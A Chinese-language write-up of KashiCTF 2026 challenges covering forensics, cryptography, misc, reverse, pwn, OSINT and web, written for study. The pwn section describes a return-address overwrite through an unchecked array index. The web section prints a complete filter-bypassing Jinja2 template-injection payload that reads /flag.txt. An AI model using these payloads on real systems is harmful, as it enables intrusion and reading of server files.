KashiCTF 2026 WriteUp
字数 6908
更新时间 2026-04-12 12:39:20

KashiCTF 2026 赛题详解与教学文档

文档概述

本教学文档基于先知社区发布的《KashiCTF 2026 WriteUp》内容整理而成。文档旨在系统性地梳理比赛中所涉及的各类赛题解题思路、技术与工具,为安全研究人员和CTF爱好者提供详尽的学习参考。内容涵盖数字取证(Forensics)、密码学(Cryptography)、杂项(Misc)、逆向工程(Reverse)、二进制利用(Pwn)、开源情报(Osint)和网络(Web)等多个方向。


数字取证(Forensics)

Easy Forensics

  • 题目简述:提供一个流量包,要求从中提取隐藏信息。
  • 关键点
    1. 流量包中主要为DNS流量。
    2. DNS查询/响应的域名中包含经过编码的数据。
  • 解题步骤
    1. 使用Wireshark等工具分析流量,关注DNS协议。
    2. 从DNS查询的子域名或相关字段中提取出疑似编码的字符串。
    3. 识别编码类型为Base32并进行解码。
  • 获取的FlagkashiCTF{dns_exfiltration_is_sneaky}

Mid Forensics

  • 题目简述:提供一个包含大量ICMP Echo Request包的流量文件,TTL值异常。
  • 核心原理:利用网络协议头部字段(如TTL)进行隐写(Steganography)。
  • 解题步骤
    1. 分析流量,发现几乎所有包都是ICMP Echo Request,且IPv4的TTL值仅在64和65之间切换。
    2. 建立映射关系:TTL=64 -> 二进制0TTL=65 -> 二进制1
    3. 按照抓包顺序,将所有ICMP包的TTL值转换为比特流。
    4. 将比特流按8位一组转换为字节,解码为ASCII字符串。
  • 获取的FlagkashiCTF{ttl_stego_is_evil}

Burnt Ashes

  • 题目简述:分析一个ext4文件系统镜像(kashi_ritual_ledger.img),寻找隐藏的“账本胶囊”。
  • 涉及技术:文件系统分析、字符串提取、信息关联、AES-CBC解密、隐写分析。
  • 解题步骤
    1. 初步分析:确认文件系统类型,使用strings命令全局搜索字符串,发现关键文件列表和邮件、聊天记录片段。
    2. 规则提取:从残留的邮件(passphrase doctrine draft)中总结出口令规则:
      • 固定4个单词。
      • 前两个单词是位置标签(location labels)。
      • 后两个单词来自仪式词表(ritual_words.txt)。
      • 单词间用连字符(-)连接。
    3. 信息关联:从笔记(ritual_index_notes.md)中得知最终口令前缀固定为ghat manjari,且不能复用第一阶段的口令。从聊天记录得知第一阶段口令trishul-lantern-braid及其AES参数是用于解密诱饵文件的。
    4. 关键突破:在镜像的未覆盖数据块中,直接找到了结构完整的JSON配置,其中包含第二阶段的口令(stage2_phrase)和对应的AES参数。
    5. 解密获取Flag:最终口令为ghat-manjari-copper-owl,对应的AES参数为:salt=d83f0a1e5bc94762, key=river-ink-oblation, iv=7f01ea25d6c59f4b38e4d0b451ccae12。使用此口令和参数解密隐藏的胶囊即可获得Flag。
  • 获取的FlagkashiCTF{ledger_ashes_remember_every_ritual}

Slavery

  • 题目简述:一个1892年的梵文古籍PDF扫描件中隐藏了Flag。
  • 核心思路:放弃对PDF文本内容的分析,聚焦于其作为图像容器的属性。
  • 解题步骤
    1. 识别真实格式:使用pdfimages(Poppler工具集)提取PDF中嵌入的所有图像。
    2. 批量排查:将导出的数百张图片拼接成缩略图(Contact Sheet)进行快速浏览,寻找视觉异常(如灰条、边缘文字)。
    3. 定位异常:发现其中一张图片(如page269.png)左侧有一条不自然的灰色竖条。
    4. 提取处理:裁剪出灰色竖条区域,将其顺时针旋转270度(或逆时针旋转90度)使其变为横向,然后进行灰度化、对比度增强等图像处理操作,使隐藏的文字清晰可读。
  • 工具与命令示例
    pdfimages -j "Mantra Mahodadhi with Nauka Tika ... .pdf" output_dir/
    
  • 获取的FlagkashiCTF{1r0nhex_1s_n07_4_m4n}

密码学(Cryptography)

Ancient Mystery

  • 题目类型:编码
  • 解题方法:对给出的密文进行64次Base64解码
  • 获取的FlagkashiCTF{th3_s3cr3t_0f_mah4bh4r4t4_fr0m_3136_BCE}

Broadcast

  • 题目类型:RSA广播攻击(Håstad‘s Broadcast Attack)
  • 攻击条件:相同的明文m,用相同的小加密指数e(本题e=3),加密发送给多个接收者(每个接收者有不同的大模数n_i),得到多个密文c_i
  • 攻击原理:当e很小且加密次数足够多时(满足 m^e < ∏ n_i),可以利用中国剩余定理(CRT)从c_i ≡ m^e (mod n_i)中直接计算出m^e的精确整数值,然后对其开e次方根即可得到明文m
  • 解题步骤
    1. 收集三组(n_i, c_i)
    2. 使用中国剩余定理求解x,满足 x ≡ c_i (mod n_i)。此时的x即为m^3
    3. x开三次方根,得到整数m
    4. m转换为字节串,即得Flag。
  • 获取的FlagkashiCTF{h4st4d_s4ys_sm4ll_3xp0n3nts_k1ll_RSA_br04dc4sts}

Efficient

  • 题目类型:RSA特殊参数攻击
  • 关键漏洞:模数n并非两个大素数的乘积,而是一个素数的平方,即n = p^2
  • 攻击原理
    • 欧拉函数计算错误:对于n = p^2,其正确的欧拉函数是φ(n) = p * (p-1)。如果错误地使用(p-1)^2(p-1)*(q-1),将无法正确解密。
    • 但在已知n = p^2的情况下,可以很容易计算p = isqrt(n),进而算出正确的φ(n) = p*(p-1)
    • 随后计算私钥d ≡ e^{-1} (mod φ(n)),即可正常解密RSA密文ct得到AES密钥。
  • 解题步骤
    1. output.txt中提取n, e, ct, iv, flag_ct
    2. n开平方根得到p,验证p*p == n
    3. 计算φ(n) = p * (p-1)
    4. 计算私钥d = pow(e, -1, φ(n))
    5. 解密RSA:key_int = pow(ct, d, n),取其字节表示的最后16字节作为AES密钥。
    6. 使用该AES密钥和提供的iv,以CBC模式解密flag_ct,得到最终Flag。
  • 获取的FlagkashiCTF{wh3n_0n3_pr1m3_1s_n0t_3n0ugh_p_squared_1s_w0rs3}

杂项(Misc)

Sanity

  • 题目类型:签到题
  • 解题方法:加入比赛Discord服务器,在指定频道找到Flag。
  • 获取的FlagkashiCTF{this_was_not_hard}

Sanity 1

  • 题目类型:Web基础
  • 解题方法:访问网站的robots.txt文件,查看其中禁止爬虫访问的路径,通常Flag隐藏在其中。
  • 关键点robots.txt是网站根目录下的一个标准文件,用于指示网络爬虫哪些目录不应被访问。

POEM

  • 题目类型:隐写术
  • 解题方法:使用雪花隐写(SNOW)工具对提供的文本文件进行解密。SNOW工具利用文本中行末空格数量的奇偶性来隐藏信息。
  • 工具使用示例
    snow -C -p <可能的密码> poem.txt
    
  • 获取的FlagkashiCTF{1_like_poems_but_1_lik3_u_more<3}

Conquer

  • 题目类型:文件格式分析
  • 关键漏洞:文件头与文件实际内容不一致。
  • 解题步骤
    1. 检查名为flag.pdf的文件,发现其文件头为P6,这是Netpbm格式中PPM(便携式像素图)的二进制格式标识。
    2. PPM (P6) 头部结构:P6\n宽度 高度\n最大颜色值\n,后接二进制像素数据。
    3. 分析文件:头部声明图像尺寸为284 150,但根据文件总大小计算,像素数据实际对应的高度为185
    4. 修复文件:将文件头中的高度从150修改为185
    5. 用图片查看器打开修复后的PPM文件,在之前被截断的底部区域即可看到Flag。
  • 获取的FlagkashiCTF{iLOVEkashi}

Impossible CP

  • 题目类型:交互式编程/算法漏洞利用
  • 题目设定:有一个隐藏数组A,允许用户查询A_i的某一位是否为1(? i k返回(A[i] & k) != 0),但限制1 ≤ i ≤ n-1,目标是求出A_n
  • 预期解法:通过巧妙组合对前n-1个元素的查询,利用位运算性质推断出A_n
  • 非预期解法:检查发现交互程序的查询限制存在漏洞,并未严格执行i ≤ n-1。因此可以直接对i = n进行查询。
  • 利用步骤:对于每一位k(如k=1,2,4,...,2^31),发送查询? n k。根据返回结果(0或1),即可逐位拼凑出A_n的完整值。
  • exp核心逻辑
    ans = 0
    for k in range(32):
        mask = 1 << k
        send_query(f'? {n} {mask}')
        if response == '1':
            ans |= mask
    
  • 获取的FlagkashiCTF{d8b4ea850c6d4d34f74f66f60efd2904e0WKz30Pmp}

逆向工程(Reverse)

Ghaat_MIrage

  • 题目类型:逆向分析,包含UPX加壳和假Flag。
  • 解题步骤
    1. 脱壳:使用upx -d prog对UPX加壳的程序进行脱壳。
    2. 识别假Flag:运行程序,发现对任意错误输入都会输出一个固定Flag kashi{fr4ke_g4ng4_0ffering_lol},此为诱饵。
    3. 静态分析:使用IDA Pro/Ghidra等工具分析脱壳后的程序,定位核心验证函数。
    4. 分析验证逻辑
      • 长度校验:输入必须为32字节。
      • FNV-1a哈希校验:对输入的前9个字节计算FNV-1a 32位哈希,要求hash % 251 == 9
      • 分组滚动哈希校验:将输入字符串按下标模4的结果分成4组,每组独立计算一个滚动哈希(acc = acc * 0x83 + char),计算结果必须分别等于四个固定魔数:0x6d4b8b11, 0x1544fdb8, 0x6442ef55, 0x6b31a222
    5. 求解/验证:根据上述逻辑,可以编写脚本暴力破解或直接验证候选字符串。满足所有条件的字符串即为真Flag。
  • 获取的Flagkashi{Gh4t5_0f_K4sh1_Never_Di35}

MUSIC-for_Life

  • 题目类型:音频隐写,频谱分析。
  • 核心逻辑:程序将每个输入字符转换成一个特定频率的正弦波,持续0.12秒,然后拼接成完整的WAV音频。
  • 频率映射公式freq = ((ch ^ 0xA5) + 0x11) * 9 + 500
  • 解题步骤
    1. 逆向程序:分析二进制文件,理解其将字符转换为音频样本的算法(sin(2*pi*freq*t)*28000)。
    2. 频谱分析:读取提供的WAV文件,按0.12秒(44100 Hz * 0.12 = 5292个样本)为一个片段进行切分。
    3. 提取频率:对每个音频片段进行快速傅里叶变换(FFT),找到能量最高的频率(主频)。
    4. 反向映射:根据找到的主频,反向求解字符。可以预先计算所有可打印ASCII字符对应的频率,然后为每个片段的主频寻找最接近的映射字符。
  • Python关键代码(思路)
    for i in range(0, len(audio), SEG_LEN):
        seg = audio[i:i+SEG_LEN]
        # 对seg做FFT
        spectrum = np.abs(np.fft.rfft(seg * np.hanning(len(seg))))
        peak_freq = freqs[np.argmax(spectrum[1:]) + 1]
        # 在预计算的频率映射表中查找最接近peak_freq的字符
        best_char = min(freq_map, key=lambda c: abs(freq_map[c] - peak_freq))
        result.append(best_char)
    
  • 获取的FlagkashiCTF{MUSIC_VIBES_but_all_1_w4nt_15_a_MDrOrq}

二进制利用(Pwn)

Addrs hold the key

  • 题目类型:栈溢出,返回地址覆盖。
  • 漏洞分析
    程序允许用户多次修改一个整型数组arr的元素,但未对索引idx进行边界检查。
    // 伪代码
    int arr[10];
    scanf("%d", &times);
    for(i=0; i<times; i++){
        scanf("%d", &idx); // 未检查 idx 范围
        scanf("%d", &arr[idx]); // 越界写!
    }
    
  • 利用思路
    1. 计算偏移:通过逆向分析或调试,确定arr在栈上的起始地址(如rbp-0x30)与函数返回地址(rbp+0x8)之间的偏移。偏移为0x38字节。arrint型(4字节),因此偏移索引为0x38 / 4 = 14
    2. 定位目标函数:程序中存在一个隐藏函数print_flag,地址为0x4011c9。由于程序未启用PIE,此地址固定。
    3. 构造利用:通过两次越界写,分别将arr[14](覆盖返回地址低4字节)和arr[15](覆盖返回地址高4字节)修改为print_flag的地址。对于64位地址0x00000000004011c9,低4字节为0x4011c9,高4字节为0x0
  • 利用步骤
    1. 发送修改次数2
    2. 第一次修改:索引14,值0x4011c9
    3. 第二次修改:索引15,值0
    4. 程序循环结束,执行ret指令,跳转到print_flag函数,输出Flag。
  • 获取的FlagkashiCTF{made_u_return_lol_KrIl8mCTrH}

开源情报(Osint)

A Trip So peaceful

  • 题目类型:地理定位与图片分析。
  • 提供信息:两张旅行照片。
    • 图1:从酒店房间窗户向外拍摄,可见寺庙尖塔。
    • 图2:酒店外的街景,可见沿街店铺招牌。
  • 解题步骤
    1. 分析图2(街景)
      • 识别店铺招牌上的文字,如TAO BAOROYALCHEMIST & DRUGGISTजन औषधि(Jan Aushadhi,印度药房)。
      • 利用TAO BAO等独特店名,在地图服务(如Google Maps)中进行搜索,定位到具体城市和街区。结合其他招牌信息,可确定地点为印度瓦拉纳西(Varanasi)的某个区域。
    2. 结合图1(窗景)
      • 目标酒店必须位于图2定位的街区附近。
      • 从酒店房间的窗户必须能直接看到图1中的寺庙尖塔建筑。
    3. 筛选酒店:在定位的街区周围,通过地图、酒店预订网站、街景图片等,寻找符合“窗外可见寺庙尖塔”这一视角的酒店。最终匹配到符合条件的酒店。
  • 答案kashiCTF{HOTEL_KAVANA}

网络(Web)

Nexus 1

  • 漏洞类型:服务端模板注入(SSTI),引擎为Jinja2。
  • 漏洞点:网页前端有一个表单,提交message参数。后端在渲染时,未对用户输入的message进行过滤,直接将其作为模板内容进行渲染。
  • 测试与确认:提交{{7*7}},返回49,确认SSTI存在。
  • 绕过过滤:后端可能对__[]等字符进行了过滤。采用以下方法绕过:
    • 使用|attr()过滤器来访问属性,代替点号。
    • 使用字符串拼接('_'*2)来动态生成__
    • 使用.get()方法代替中括号[]来访问字典键。
  • 利用链构造
    1. 通过Jinja2内置对象cycler进入全局命名空间:
      {{ cycler|attr(('_'*2) ~ 'init' ~ ('_'*2))|attr(('_'*2) ~ 'globals' ~ ('_'*2)) }}
    2. 获取__builtins__,进而获取open函数:
      {{ ...|attr('get')(('_'*2) ~ 'builtins' ~ ('_'*2))|attr('get')('open') }}
    3. 读取目标文件/flag.txt
      {{ ...|attr('get')('open')('/flag.txt')|attr('read')() }}
  • 完整Payload示例
    {{ cycler|attr(('_'*2) ~ 'init' ~ ('_'*2))|attr(('_'*2) ~ 'globals' ~ ('_'*2))|attr('get')(('_'*2) ~ 'builtins' ~ ('_'*2))|attr('get')('open')('/flag.txt')|attr('read')() }}
  • 修复建议:永远不要将用户输入作为模板渲染。如需动态内容,应使用安全的模板变量替换功能,并对所有用户输入进行严格的过滤和转义。
相似文章
相似文章
 全屏